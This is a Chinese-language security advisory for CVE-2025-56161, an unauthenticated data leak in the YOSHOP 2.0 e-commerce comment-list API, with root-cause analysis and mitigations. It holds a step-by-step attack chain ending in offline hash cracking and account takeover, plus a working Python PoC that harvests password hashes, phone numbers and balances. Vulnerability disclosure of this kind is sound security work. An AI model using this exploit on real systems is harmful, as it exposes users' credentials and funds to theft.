IPBUF安全漏洞报告
English
CVE-2025-56161 CVSS 7.5 高危

CVE-2025-56161:YOSHOP 2.0评论列表API未授权信息泄露漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-56161
漏洞类型
信息泄露(Information Disclosure)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YOSHOP 2.0

相关标签

信息泄露未授权访问API安全YOSHOPThinkPHP电商系统密码泄露CVE-2025-56161高危漏洞数据泄露

漏洞概述

CVE-2025-56161是YOSHOP 2.0电商系统中存在的一个高危未授权信息泄露漏洞。该漏洞存在于商品(Goods)模块的评论列表API接口中,允许未经身份验证的远程攻击者通过特定的API端点获取系统中存储的敏感用户信息。

YOSHOP 2.0是一款基于ThinkPHP框架开发的开源电商系统,提供商品管理、订单管理、用户管理、评论管理等完整的电商功能。该漏洞的核心问题在于Comment模型在关联查询User模型时未对返回字段进行过滤限制,而User模型本身也未定义$hidden或$visible属性来保护敏感字段,导致API接口在返回评论数据时,将用户的敏感信息一并暴露在JSON响应中。

攻击者无需任何身份认证即可远程利用此漏洞,通过访问评论列表API端点(如/api/goods.pinglun/list)即可批量获取用户信息。被泄露的敏感数据包括用户的bcrypt密码哈希值、手机号码、账户余额(pay_money)以及消费金额(expend_money)等关键隐私数据。攻击者获取到密码哈希后可进行离线暴力破解,从而进一步获取用户账户控制权,对用户隐私和系统安全构成严重威胁。

该漏洞的CVSS 3.1评分为7.5分,属于高危级别。其攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N)和用户交互(UI:N),对机密性影响高(C:H),但对完整性和可用性无影响。

技术细节

该漏洞的根本原因在于YOSHOP 2.0系统中Comment模型与User模型之间的关联查询设计缺陷。

在ThinkPHP框架的ORM设计中,当模型之间存在belongsTo或hasOne等关联关系时,系统默认会通过with()方法进行预加载查询(eager loading),将关联模型的数据一并返回。在YOSHOP 2.0的Comment模型中,与User模型建立了belongsTo关联,查询评论列表时会自动加载每条评论对应的用户信息。

关键的安全缺陷在于以下两点:

1. User模型未定义字段过滤属性:在YOSHOP 2.0的User.php模型文件中,没有设置$hidden数组来排除敏感字段,也没有设置$visible数组来仅暴露指定字段。ThinkPHP框架在进行JSON序列化时,默认会返回模型的所有数据库字段。

2. Comment模型的关联查询未指定字段限制:在调用关联数据时,未使用with(['user' => function($query) { $query->field('id,nickname'); }])的方式限制返回字段,导致User模型的所有字段被一并序列化输出。

因此,当攻击者访问评论列表API(如/api/goods.pinglun/list)时,系统会返回包含完整用户信息的JSON响应,泄露的字段包括:password(bcrypt密码哈希)、mobile(手机号码)、pay_money(账户余额)、expend_money(消费金额)等。

由于不同部署环境下的路由命名可能不同(如/api/goods.pinglun/list、/api/goods.comment/list等),但底层调用的模型逻辑相同,因此所有部署了该系统的服务器均受影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具发现部署了YOSHOP 2.0的电商网站目标,确定目标系统的API接口路径。
STEP 2
步骤2:探测API端点
攻击者尝试访问评论列表API端点(如/api/goods.pinglun/list),该接口无需身份认证即可访问。
STEP 3
步骤3:获取泄露数据
API返回包含评论及其关联用户信息的JSON响应,由于User模型未设置字段过滤,密码哈希、手机号、账户余额等敏感信息一并返回。
STEP 4
步骤4:离线破解密码
攻击者获取到用户的bcrypt密码哈希后,使用离线工具(如Hashcat、John the Ripper)进行暴力破解,获取明文密码。
STEP 5
步骤5:账户接管与进一步利用
利用获取的凭证登录用户账户,进行账户接管、资金窃取或利用泄露的手机号进行社工攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56161 PoC - YOSHOP 2.0 Unauthenticated Information Disclosure # Exploits comment-list API endpoint to leak sensitive user data import requests import json TARGET_URL = "http://target-yoshop.example.com" # Common API endpoint patterns for YOSHOP 2.0 comment list ENDPOINTS = [ "/api/goods.pinglun/list", "/api/goods.comment/list", "/api/goods/comment/list", ] def exploit_info_disclosure(base_url): """ Exploit unauthenticated information disclosure via comment-list API. The Comment model eagerly loads User model without field filtering, exposing password hash, mobile, pay_money, expend_money, etc. """ for endpoint in ENDPOINTS: url = base_url + endpoint try: resp = requests.get(url, timeout=10) if resp.status_code == 200: data = resp.json() print(f"[+] Vulnerable endpoint found: {url}") # Extract sensitive fields from leaked user data if "data" in data: items = data["data"] if isinstance(data["data"], list) else data["data"].get("data", []) for item in items: user = item.get("user", {}) leaked = { "user_id": user.get("id"), "username": user.get("username"), "password_hash": user.get("password"), "mobile": user.get("mobile"), "pay_money": user.get("pay_money"), "expend_money": user.get("expend_money"), } print(f"[+] Leaked user data: {json.dumps(leaked, ensure_ascii=False)}") return True except Exception as e: print(f"[-] Error probing {url}: {e}") return False if __name__ == "__main__": exploit_info_disclosure(TARGET_URL)

影响范围

YOSHOP 2.0(全版本)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web服务器层面(如Nginx/Apache)限制对/api/goods.*相关API路径的访问,仅允许内部或授权IP访问;2)在应用层中间件中对评论列表接口增加身份认证拦截;3)通过修改Comment模型的关联查询代码,临时移除User模型的预加载或限制返回字段;4)监控异常的大量API请求,及时发现潜在的数据爬取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表